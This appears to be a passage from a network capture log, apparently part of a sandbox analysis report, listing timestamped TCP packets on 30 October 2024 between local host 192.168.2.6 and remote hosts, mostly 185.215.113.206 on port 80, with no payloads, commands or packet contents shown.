Oct 30, 2024 15:59:41.576869011 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.576880932 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.576894045 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.576904058 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.576932907 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.576946974 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.576947927 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.576971054 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.576983929 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.576987028 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.576996088 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.577027082 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.577054977 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.577111006 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.577122927 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.577133894 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.577147961 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.577178955 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.577195883 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.577255011 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.577266932 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.577277899 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.577289104 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.577294111 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.577302933 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.577315092 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.577321053 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.577327967 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.577341080 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.577344894 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.577363968 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.577456951 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.577507973 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.577519894 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.577531099 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.577542067 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.577553034 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.577574015 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.577574015 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.577632904 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.577645063 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.577661991 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.577662945 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.577682018 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.577683926 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.577692032 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.577698946 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.577699900 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.577706099 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.577728987 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.577744961 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.577861071 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.577872992 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.577883959 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.577907085 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.577935934 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.578002930 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.578013897 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.578025103 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.578036070 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.578048944 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.578052998 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.578062057 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.578066111 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.578075886 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.578094959 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.578123093 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.578154087 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.578166008 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.578182936 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.578195095 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.578206062 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.578222990 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.578250885 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.578376055 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.578387976 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.578399897 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.578418016 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.578449011 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.578454971 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.578468084 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.578479052 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.578506947 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.578531981 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.610021114 CET	443	49800	18.244.18.38	192.168.2.6
Oct 30, 2024 15:59:41.610193014 CET	49800	443	192.168.2.6	18.244.18.38
Oct 30, 2024 15:59:41.610203028 CET	443	49800	18.244.18.38	192.168.2.6
Oct 30, 2024 15:59:41.611300945 CET	443	49800	18.244.18.38	192.168.2.6
Oct 30, 2024 15:59:41.611358881 CET	49800	443	192.168.2.6	18.244.18.38
Oct 30, 2024 15:59:41.612222910 CET	49800	443	192.168.2.6	18.244.18.38
Oct 30, 2024 15:59:41.612293959 CET	443	49800	18.244.18.38	192.168.2.6
Oct 30, 2024 15:59:41.612404108 CET	49800	443	192.168.2.6	18.244.18.38
Oct 30, 2024 15:59:41.612411022 CET	443	49800	18.244.18.38	192.168.2.6
Oct 30, 2024 15:59:41.615120888 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.615170002 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.615180016 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.615183115 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.615191936 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.615210056 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.615226030 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.620559931 CET	443	49799	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:41.620657921 CET	443	49799	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:41.620857000 CET	49799	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:41.620944023 CET	49799	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:41.620956898 CET	443	49799	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:41.620970011 CET	49799	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:41.620976925 CET	443	49799	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:41.624264002 CET	49811	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:41.624293089 CET	443	49811	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:41.624531031 CET	49811	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:41.624675989 CET	49811	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:41.624696970 CET	443	49811	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:41.666059017 CET	49800	443	192.168.2.6	18.244.18.38
Oct 30, 2024 15:59:41.688966036 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.689026117 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.689038038 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.689038992 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.689050913 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.689064026 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.689074039 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.689089060 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.689095974 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.689100027 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.689135075 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.689244032 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.689292908 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.689301968 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.689313889 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.689323902 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.689378023 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.689385891 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.689397097 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.689409018 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.689423084 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.689450979 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.689479113 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.689527988 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.689543009 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.689554930 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.689574003 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.689589977 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.689613104 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.689635992 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.689698935 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.689711094 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.689723015 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.689755917 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.689770937 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.689781904 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.689781904 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.689825058 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.690041065 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.690085888 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.690099001 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.690126896 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.690141916 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.690170050 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.690190077 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.690232038 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.690315008 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.690327883 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.690340042 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.690349102 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.690361023 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.690372944 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.690378904 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.690392971 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.690421104 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.690478086 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.690490961 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.690529108 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.690562010 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.690571070 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.690603018 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.690622091 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.690637112 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.690648079 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.690659046 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.690676928 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.690690041 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.690704107 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.690712929 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.690751076 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.690824986 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.690835953 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.690846920 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.690856934 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.690867901 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.690875053 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.690881014 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.690893888 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.690898895 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.690912962 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.690933943 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.690998077 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.691009998 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.691091061 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.691102028 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.691113949 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.691124916 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.691132069 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.691157103 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.691167116 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.691241026 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.691251993 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.691268921 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.691279888 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.691291094 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.691291094 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.691307068 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.691335917 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.691447020 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.691459894 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.691471100 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.691483021 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.691493034 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.691525936 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.691610098 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.691621065 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.691632986 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.691643953 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.691657066 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.691667080 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.691694021 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.691705942 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.691798925 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.691809893 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.691843033 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.691859007 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.691924095 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.691967010 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.691977024 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.691987991 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.692011118 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.692014933 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.692142963 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.692166090 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.692178011 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.692189932 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.692205906 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.692229986 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.692234993 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.692248106 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.692259073 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.692286968 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.692316055 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.692329884 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.692339897 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.692380905 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.692410946 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.692423105 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.692456961 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.692483902 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.692511082 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.692523003 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.692533970 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.692543983 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.692553043 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.692557096 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.692569017 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.692608118 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.692636013 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.692709923 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.692720890 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.692732096 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.692744970 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.692749023 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.692784071 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.692797899 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.692837000 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.692852020 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.692876101 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.692888975 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.692928076 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.692965031 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.692976952 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.692987919 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.693000078 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.693033934 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.693070889 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.693106890 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.693111897 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.693119049 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.693130970 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.693145990 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.693173885 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.693208933 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.693222046 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.693233013 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.693255901 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.693272114 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.693296909 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.693330050 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.693341970 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.693376064 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.693387032 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.693398952 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.693419933 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.693448067 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.693464041 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.693475008 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.693485975 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.693502903 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.693512917 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.693516016 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.693533897 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.693557978 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.693588972 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.693600893 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.693612099 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.693631887 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.693644047 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.693650007 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.693669081 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.693690062 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.693736076 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.693747044 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.693779945 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.693798065 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.693810940 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.693883896 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.693890095 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.693902016 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.693912029 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.693923950 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.693929911 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.693936110 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.693955898 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.693981886 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.694024086 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.694036007 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.694046974 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.694066048 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.694097996 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.707228899 CET	443	49807	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:41.709770918 CET	49807	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:41.709786892 CET	443	49807	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:41.711163044 CET	49807	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:41.711169004 CET	443	49807	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:41.730812073 CET	80	49716	185.215.113.206	192.168.2.6
